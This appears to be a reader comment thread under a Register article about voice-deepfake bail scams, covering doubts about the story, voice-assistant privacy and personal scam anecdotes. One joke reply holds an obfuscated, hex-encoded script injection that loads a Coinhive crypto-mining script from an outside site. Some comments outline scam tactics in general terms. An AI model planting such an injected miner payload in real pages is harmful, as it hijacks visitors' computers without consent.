back to article Talk down to Siri like it's a mere servant – your safety demands it

In the middle of the night, the 83-year-old woman received a call. A caller identifying himself as a policeman angrily reported that her grandson – identified by name – had landed in jail. He'd hit a policeman while driving and TXTing. The policeman said they needed $4,000 in bail – immediately. The old woman hung up, but the …

  1. Anonymous Coward
    Anonymous Coward


    Eight-three year old?

    Heart hearted?

    Have a fucking word!!!

    1. Anonymous Coward
      Anonymous Coward

      Re: TF?

      Don't forget TXTing instead of texting.

      Has the proof reader got the week off?

      1. Anonymous Coward
        Anonymous Coward

        Re: TF?

        It is the school holidays.

      2. jake Silver badge

        Re: TF?

        See that phrase down at the bottom of every article, the one that says "Tips and corrections"? Ever wonder what it's for?

        (Granted, ElReg could make it look a trifle more clickable ... )

        1. Anonymous Coward
          Anonymous Coward

          Tips and corrections

          Yeah, but it leads to email instead of a web form. I'm not using my work email to communicate with journalists, and I'm not logging in Hotmail just to correct typos.

          1. Anonymous Coward
            Anonymous Coward

            Re: Tips and corrections

            "Yeah, but it leads to email instead of a web form"

            Needs both options.

            A form could also show what corrections have already been submitted. It could do that automatically based on submissions - but that could open up a path for spam/abuse displays.

            My web site has simple validation in Javascript that appears to have barred anything other than a human filling in the form for at least the last decade. For an email link - simple obfuscation of the webmaster email address seems to be very effective against most spam.

            The gauge of the anti-spam effectiveness is based on historical levels of abuse over the last 20 years.

            1. 's water music Silver badge

              Re: Tips and corrections

              It could do that automatically based on submissions - but that could open up a path for spam/abuse displays.

              Umm, I think you have a typo, that should have read:

              ...could open up a path for spam/abuse <script>window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"] </script>

          2. jake Silver badge

            Re: Tips and corrections

            You read ElReg at work, and yet you're not supposed to communicate with ElReg staff while at work? Does that mean you're skiving off instead of actually working?

            1. Cederic

              Re: You read ElReg at work

              Reading El Reg at work is professional development, keeping abreast of industry news and activities. Commenting on the El Reg forums is professional networking. My employer and my professional body both support these activities.

              Using a work email account to contact journalists would require sign-off from Management[tm] and could result in disciplinary action. Plus many of us just don't want to use work email for non-company business.

              1. earl grey Silver badge

                Re: You read ElReg at work

                "my professional body" says i need a lie down.

        2. Ledswinger Silver badge

          Re: TF?

          See that phrase down at the bottom of every article, the one that says "Tips and corrections"? Ever wonder what it's for?

          No, I hadn't wondered. Because I'd assumed that it was for tips and factual corrections, rather than being a means of roping the readership in as unpaid proof readers.

          1. sabroni Silver badge

            Re: roping the readership in as unpaid proof readers.

            If you don't want to be an unpaid proof reader why post corrections in the comment thread?

            1. Anonymous Coward
              Anonymous Coward

              Re: roping the readership in as unpaid proof readers. @Sabroni

              Because SOME of us care!

              1. jake Silver badge

                Re: roping the readership in as unpaid proof readers. @Sabroni

                If you actually gave a shit, you'd report it somewhere where they might read it sooner, rather than later. Do you really think that ElReg staff have nothing better to do than read the words of wisdom of the commentards as soon as they are written?

            2. LDS Silver badge

              "why post corrections in the comment thread?"

              Because outrage has to be public, or where's the self-fulfillment? <G>

            3. emmanuel goldstein

              Re: roping the readership in as unpaid proof readers.

              Have an upvote.

        3. Anonymous Coward
          Anonymous Coward

          Re: TF? @Jake.

          Not for basic English proof reading and spelling errors a primary school child wouldn't make.

          Tips and corrections do NOT fall under that category.

          1. jake Silver badge

            Re: TF? @Jake.

            Nice catch & edit (does vs do). But you still missed a basic error, Mr/s Holierthanthou.

            1. Anonymous Coward
              Anonymous Coward

              Re: TF? @Jake.

              IF that was aimed at me, I had only just started to read the story when I spotted those two glaring issues. I didn't read the rest until I had vented my spleen.

              It's not like they were subtle errors.

          2. Anonymous Coward
            Anonymous Coward

            Re: TF? @Jake.

            "Not for basic English proof reading and spelling errors a primary school child wouldn't make."

            The mind reads what it thinks should be there. Proofreading needs you to disconnect from the message in a passage - so you concentrate on exactly what is written.

            1. Anonymous Coward
              Anonymous Coward

              Re: TF? @Jake.


              I always pick up spelling mistakes or double words, not very much here but the BBC is absolutely awful for it.

      3. fobobob

        Re: TF?

        Maybe he was updating DNS zone files or something? Odd activity to perform while driving...

    2. LDS Silver badge

      Re: TF?

      It's to deceive any software attempt to make a script looks like a real one of his.

  2. Mycho Silver badge

    Put on a Scots accent.

    That always works.

    1. Muscleguy Silver badge

      Re: Put on a Scots accent.

      I missed that one, it is hilarious, especially the end. I don't have the problem though, I've denied Google access to the microphone on my phone so I don't have to get it to understand my accent. I was born in North Ayrshire, grew up in New Zealand (Southern then Northern), with English parents.

      In the IndyRef I was occasionally asked where I was from, never in an aggressive manner and explaining the above timeline was always accepted. I have a tape of me aged 6 sounding like Rab C Nesbit's middle class nephew to prove I used to sound Scottish.

      I don't try, it seems much too much like parody.

      1. Bad Beaver

        Re: Put on a Scots accent.

        > I've denied Google access to the microphone on my phone

        Oh did you? I did that, too. Now pick up your phone and unlock it. Now say "Ok Google".

    2. steelpillow Silver badge
      Big Brother

      Re: Put on a Scots accent.

      Several of our relatives are Scots and I don't want them mixed up with a scambot when my wife's phone rings in the middle of the night. So I am busy practising something along the lines of Bluebottle or Mr. Wisty, When she hears, "Help me or I will be deaded. Yeheu!"....

      The Planet Gemini PDA I have on order (yay!) will have a press-to-speak button to stop Google/Trump/Putin/Uncle-Tom-Cobbleigh-and-all slurping my normal off-line voice, so this is actually a genuine way forward.

  3. Unep Eurobats
    Black Helicopters

    That story about the 83-year-old

    It's completely made up, right?

    1. Anonymous Coward
      Anonymous Coward

      Re: The other story correlations are not!

      The same week DeepFakes become a problem, automatic facial recognition goes live in the UK for police. coincidence?

      1. Mage Silver badge

        Re: automatic facial recognition goes live in the UK

        They've had it for ages and it should need a warrant. Their use against the public is an invasion of privacy and might even be illegal.

        1. Evil Auditor Silver badge

          Re: automatic facial recognition goes live in the UK

          Facial recognition is nothing new, indeed. The first time I came across this was more than ten years ago.

    2. Destroy All Monsters Silver badge
      Paris Hilton

      Re: That story about the 83-year-old

      And if not, was that a DeepFaked voice?

      The old woman hung up, but the phone rang again, and the policeman said she could speak to her grandson: he came on the line, pleading with his grandmother for bail money.

      Please El Reg don't pull such stupid stunts.

      Also reminds me of a Greg Egan story where an extortionist builds a full simulation-AI of someone's wife in software. While the real wife is not in danger, will the husband pay up to have the simulation-AI, girevously suffering, shut down?

  4. Anonymous Coward
    Anonymous Coward


    Was the scam initiated using recordings used by Siri or some other equally useless bit of software?

    We need to know so that the right amount of kicking can be generated.

    I don't use any (Apple, Amazon or Google) assistant as I think they are already shit and a huge great security hole but it would be nice to give the right one some slagging off (for a change...)

  5. jurgen

    Reg does clickbait

    What does this "story" have to do with Siri, exactly? Did the grandson use Siri? Did El Reg find out that Apple actually does have access to non-anonymised user data, and (more to the point) voice data? Does this woman even exist?

    1. Naselus

      Re: Reg does clickbait

      Wind in your Apple Defense Lasers. 'Siri' is being used as shorthand for voice assistants, nothing more.

      And the story is almost certainly apocryphal. A quick google finds hundreds of versions - the woman (it's always a woman) is always in her 80s, though sometimes 83, sometimes 87. Her grandson (it's ALWAYS her grandson) is always seeking bail, but the amount - while always thousands of dollars - varies, as does the reason he's been locked up.

      The scam itself is reported on the 'net as far back as 2005 at least, long before there was any clever voice tech to perform it (when apparently the scammers were simply expert impressionists). Whether it's ever actually been performed in real life is more questionable.

      1. Anonymous Coward
        Anonymous Coward

        Re: Real life precursor.

        There are real example of this type of scam. Usually uses stolen laptops and/or phones. Hence the reference to "txt". It is a usual holiday scam. Steal a young persons phone/laptop and then text/email the "mom/dad" in the address list. As only text, it's harder to confirm identity. As the real son/daughter is without phone/laptop they cannot contact family to confirm they are ok, and don't need £$10,000 in bail or medical bills.

        I would assume they do go for older or female parents more often. They may or may not have yet used Siri or Google to make voice lists, but it is certainly possible. If they have access to phone (non-fingerprint locked) through pin stealing snooping over the shoulder, then they can get 6 months or more voice logs!

      2. ecofeco Silver badge

        Re: Reg does clickbait

        There are in fact arrest records of people who use this scam, although the common version has been the "it's me!" technique. This is just a higher tech version.

        This is NOT some urban legend.

        1. Rob D. Bronze badge

          Re: Reg does clickbait

          > "That it wasn't quite good enough to pass a sniff test says less about the current state of the art than the capacity of the scammers"

          > "Imagine if those scammers had gotten a voice sample of that grandson: When his grandmother spoke to his vocal simulacrum, it would have responded in the right tones to make her believe – and pay."

          The scam technique is real. The targeting of elderly or otherwise vulnerable people is real. And the faking of audio in real time is theoretically possible. But without references or verifiable details, it is a purely hypothetical exaggeration of a story that has been running for at least a decade (someone else already posted the Snopes link).

          The article is written as if it is factual though which makes it firmly 'urban legend' (at least as far as Wikipedia is concerned,, which is as far as I could be bothered to go).

          1. FrozenShamrock

            Re: Reg does clickbait

            This type of scam was tried on my parents a few years ago. My mother, then in her early 90s, got the call saying my son (her Grandson) was in jail in Mexico and she needed to wire money for his bail. She was warned not to tell anyone else. She was trying to do it but because she didn't drive couldn't get to the bank without my father who was still sharp enough to smell a rat. At first she refused to tell him why she needed to go to the bank but finally did. A few quick phone calls proved the grandson was safe and sound in Colorado. When they called back later asking where the money was my father asked if they wanted to talk to the policeman standing with them, quick hang up. Anything that makes these scum bags more effective is a bad thing. People have to realize what they are exposing when using new, cool gadgets with little real use.

  6. Anonymous Coward
    Anonymous Coward


    Be like me; stingy - tight arse!

    Refuse all requests for cash, payments, etc.

    Mum is in jail you say?

    Bad luck!

    1. I ain't Spartacus Gold badge

      Re: Easy

      Just like John Marshall.

      When he reneged on a deal to surrender his castle to King Stephen he was told that if he didn't carry out his promise his 6 year old son (whom he'd given as a hostage) would be killed. Spoiler alert: he survived to be the famous William the Marshal).

      His answer (either as the kid was being strung-up to be hanged in front of the walls (or loaded into a trebuchet - I think they did both at different points - "I still have the hammer and the anvil with which to forge yet more and better sons!"

      I guess that was the fate of 4th sons in mediaeval times...

    2. Anonymous Coward
      Anonymous Coward

      Re: Easy

      Will that become bad luck for you, though, should she decide later to change her will?

  7. israel_hands


    Without any citations for the supposed case at the start of the story this is very hard to believe. Seems more like a FUD scare-story that tend to do the rounds in offices, usually something about getting carjacked at a petrol station using some convoluted scheme that people must be alert for.

    For a start, how did the supposed "master" scammers get enough recordings of the grandson's voice? That takes more than a Facebook trawl to gather. Also, I doubt that Adobe software is able to render speech on the fly which would mean the scammers would need to script the entire call beforehand and hope they aren't rumbled when the target deviates even slightly and receives a nonsensical reply. Finally, while the software may be able to impersonate someone's speaking voice, does it come with a built-in tearful-and-distressed filter you can apply to it?

    I'm a bit disappointed at the Reg for letting something as dubious as this appear, especially without a single citation to an original source for the story. This sort of material is more suited to The One Show or the Daily Mail, surely.

    1. Charlie Clark Silver badge

      Re: Unconvinced

      Of course, it's FUD. With stuff like a sample of speech long enough that it can be weaponised it's difficult to take seriously. Pesce's articles are generally speculative.

      As the voice assistants and navigation systems ably demonstrate, it's been possible for a while to synthesise anybody's voice for simple sentences. There was a good article on this in The Economist last year, so keep up at the back El Reg.

    2. Anonymous Coward
      Anonymous Coward

      Re: Unconvinced?

      Many variations. But with the possibility of a large cash transfer, putting in the effort might make it worth it. Use a camera to glean pin numbers (or just a shoulder surfer), then get access to voice logs on Google or Apple search lists. Or even easier, just call them and ask some strange questions, and record the call!

      Those who do do it, will spend a long time in a holiday spot or other area. They will look for marks. They will use social engineering. Then when they get the data/device hit with a lot of txts/emails/calls.

  8. gurugeorge

    This is not exciting - The technology has been around for years and I've used for as a joke to play pranks on friends. The scary bit is that you can get the voice data from people that upload videos to YouTube. I've used Siri and voice recognition for the last 10 years to dictate everything, from my PhD dissertation to this very text. The accuracy is probably 100% and faster than I can type but effortless. It's pretty secure, no one can access my voice data. However I do have a few old videos on YouTube/Facebook which scares the shit out of me. After reading this article I've made them private.

    1. TechnicalBen Silver badge

      Your Youtube name?

      If you have a Youtube name like "George Bush", then little risk of them linking your YT to your real account?

  9. H in The Hague Silver badge

    What to do with an Echo?

    This seems as good a place to post this question as any.

    From other topics I gather than I’m not the only Commentard to have received an Amazon Echo Dot or similar device for Christmas which we don’t want to connect to the Internet for security reasons (or just not being interested in its functionality).

    Does anyone have helpful suggestions for what to do with it? Alternative uses?

    1. I ain't Spartacus Gold badge

      Re: What to do with an Echo?

      My brother's family have a full-fat Echo (much more useful as you can use it to play music), so I'm going to give them my Echo Dot. Then they can use it as an intercom between the kitchen and sitting room, and to stick stuff on their Amazon shopping list.

      That's if they're still using it. They'd signed up to the trial for Amazon groceries in London, but last time I checked had pulled-out as Amazon kept getting their orders wrong, or just missing a bag from the delivery. Which of course they only noticed once the driver had scarpered.

      Not sure if that's useful to you - unless you want to give yours to my brother as well... But it's the only solution I've come up with for the one I was given for my birthday last year.

    2. Anonymous Coward
      Anonymous Coward

      Re: What to do with an Echo?

      Paper weight, book end, frisbee?

      1. I ain't Spartacus Gold badge

        Re: What to do with an Echo?

        Too light for a paperweight. Too small and too light for a bookend. Too small for a frisbee - plus not much lift.

        Ice hockey puck?

        Aspirin for elephants?

        Cupcake stand?

        1. FrozenShamrock

          Re: What to do with an Echo?

          Trap shooting.

  10. onefang Silver badge

    I have a thick Aussie accent that even some Aussies don't understand, haven't had much luck getting voice recognition to work. So if I ever was foolish enough to use one of these spy devices, I'd have to use a different voice just so it could work.

    1. Anonymous Coward
      Anonymous Coward


      Hop in the HQ, drive into the bottle-o and get me a slab of VB!

      Ya old bastard.

      1. onefang Silver badge

        Re: Goodonyamate

        My parents told me I was conceived in the back seat of a Holden somewhere in Melbourne, I didn't ask for more information.

        "Ya old bastard."

        The one bit of information I figured out for myself, is that said conception was several months before their marriage, so I'm only half a bastard.

        1. Anonymous Coward
          Anonymous Coward

          Re: Goodonyamate

          "Ya old bastard."

          A term with many meanings.

          A person of any age, but probably male.

          Used for:

          • Endearment
          • Slander
          • Outrage
          • Mateship
          • Trust
          • Fighting
          • Compliment
          • Jealousy
          • Admiration


  11. Anomalous Cowshed

    How about...

    ...Don't talk to Siri, at all?

  12. breakfast

    Bad news for those of us who willingly put our voices out into the world, I guess. Or at least we need to start giving our families some kind of codeword to indicate we are for real. Even if this is, as yet, not something anyone has seen in the wild it's a fairly dystopian concept.

  13. Mage Silver badge
    Big Brother

    Program for a Puppet

    Program for a Puppet by Roland Perry

    I still have my copy, from the year it was published.

    I'm thinking some people had this before Adobe.

    Things such as Echo, Siri etc ought to need to be certified and it should be illegal to store the users voice as "cloudy" databases are rarely always secure. TVs and Toys etc sending voice outside the user's premises should be illegal.

    Years ago we had voice control and recognition without "sending it to the cloud". We have gone backwards because Google, MS, Apple, Amazon wants to monetize our private lives.

    1. Teiwaz Silver badge

      Re: Program for a Puppet

      Years ago we had voice control and recognition without "sending it to the cloud". We have gone backwards because Google, MS, Apple, Amazon wants to monetize our private lives.

      Well, if you were prepared to spend the time training the voice recognition with activities like reading 'Alice and Wonderland' to your computer (IBM Voice assist (I think)).

      Most people aren't patient enough, so Google et all get away with packing your speech off to their servers to process and collect useful? data.

      1. H in The Hague Silver badge

        Re: Program for a Puppet

        "reading 'Alice and Wonderland' to your computer (IBM Voice assist (I think))."

        Dragon Dictate, I think. That and a similar Philips product saved my business when I had serious RSI.

    2. Anonymous Coward
      Anonymous Coward

      Re: Program for a Puppet

      AFAIK, SIRI does most its work locally but I agree with you about storing the voice print should be illegal.

      I don't and never will use any of them so for me it isn't a problem.

  14. iron Silver badge

    Non issue

    "What deepfake is to video, Adobe VoCo – its "Photoshop for audio" – does for speech."

    So this isn't an issue then. I've seen these so called deepfakes and the video neither looked like the actress it was supposed to be nor did it look like a genuine video. If Adobe VoCo is as good it probably makes speech that is supposed to sound like Joe Pasquale sound like James Earl Jones.

  15. Evil Auditor Silver badge

    ... the big players will take all the right steps to ensure what's said in the home stays in the home...

    Yeah, sure... Stays in whose home?!

  16. ecofeco Silver badge

    The "ore" scam

    In Japan this is known as the "ore" (it's me!) scam.

    People who defraud seniors should get the death penalty.

  17. Antron Argaiv Silver badge

    A friend of mine...

    ...received one of these calls "from" one of his friends, who needed bail money.

    He replied "I'll get it right out to you. Just tell me the name of the show we co-starred in when we were in High School"

    The call terminated shortly thereafter.

    His final comment: "You know, you should get an honest job"

  18. Emmeran

    A picture/video is no longer proof positive and people actually hold conversations with their household appliances; my how we have devolved.

    Then only thing under voice control in my house is my dogs and even that is questionable sometimes. My kids can only be managed with router config tricks...

  19. Anonymous Coward
    Anonymous Coward

    Saying Yes is a problem...

    How many of us have received a call that starts out "This is "insert name" from the "insert company name" - usually warranty or returns or refund department...Can you hear me?"

    What's your first response? Usually "Yes" - and you've been had because now they have your "yes" for any account they may have access to.

    I hate and avoid saying "yes" to any caller even if I know the person - I've frustrated a few scammer (Just for the heck of it after I've accidentally answered a call I didn't recognize) by saying something like "oh" and waiting for their next statements which usually leads to them saying something rude before I hang up on them. BTW - I don't do this too often because it encourages them and I NEVER do this on my cell/mobile phone!

  20. GBE

    For those of us who never had servants...

    ... adopt a different vocal register when talking to voice assistants, something analogous to the register one might have used 100 years ago when communicating with staff "below stairs".

    I found that bit very interesting, but was hoping there might be links to further information for the benefit of those of us who grew up in the wrong century, in the wrong class, and on the wrong continent.

  21. DougS Silver badge

    Don't necessarily need voice fakery against an 83 year old

    The reason the scamsters like targeting the very old is because their mental faculties aren't what they used to be. Not talking about senility, just generally more gullible and easier to fool (not all, but many)

    You wouldn't need the right voice, heck in some cases you wouldn't even need the name "I'm your grandson, I called you because I was afraid of what my dad might say if he found out. This is my only phone call and they say I have to get off right now if you aren't going to come up with the bail money, please help me!"

    There was a statement from the police in our local news that someone had tried this locally against a couple elderly folks, and they were able to trace the call a VOIP service so they have no idea if it even originated in the US. Luckily the scamsters picked the wrong people, or at least those wrong people called the police - they didn't have a grandson! Others might have been fooled and sent them money, and would probably be too embarrassed to call the cops after they figured it out.

  22. smarterthanthou

    Marketing Genius

    When I first saw the Echo on Amazon I assumed they were giving them away just to generate more income. I thought "there's no way anyone will be stupid enough to get one of these eavesdropping devices".

    When I realized that people actually had to PAY to get one I saw the genius in Amazon's thinking. It's like putting an old couch out on the curb with a 'FREE' sign on it. It will sit there until you have to pay to have it hauled away. Put a $50 price tag on it and it will get stolen the first night.

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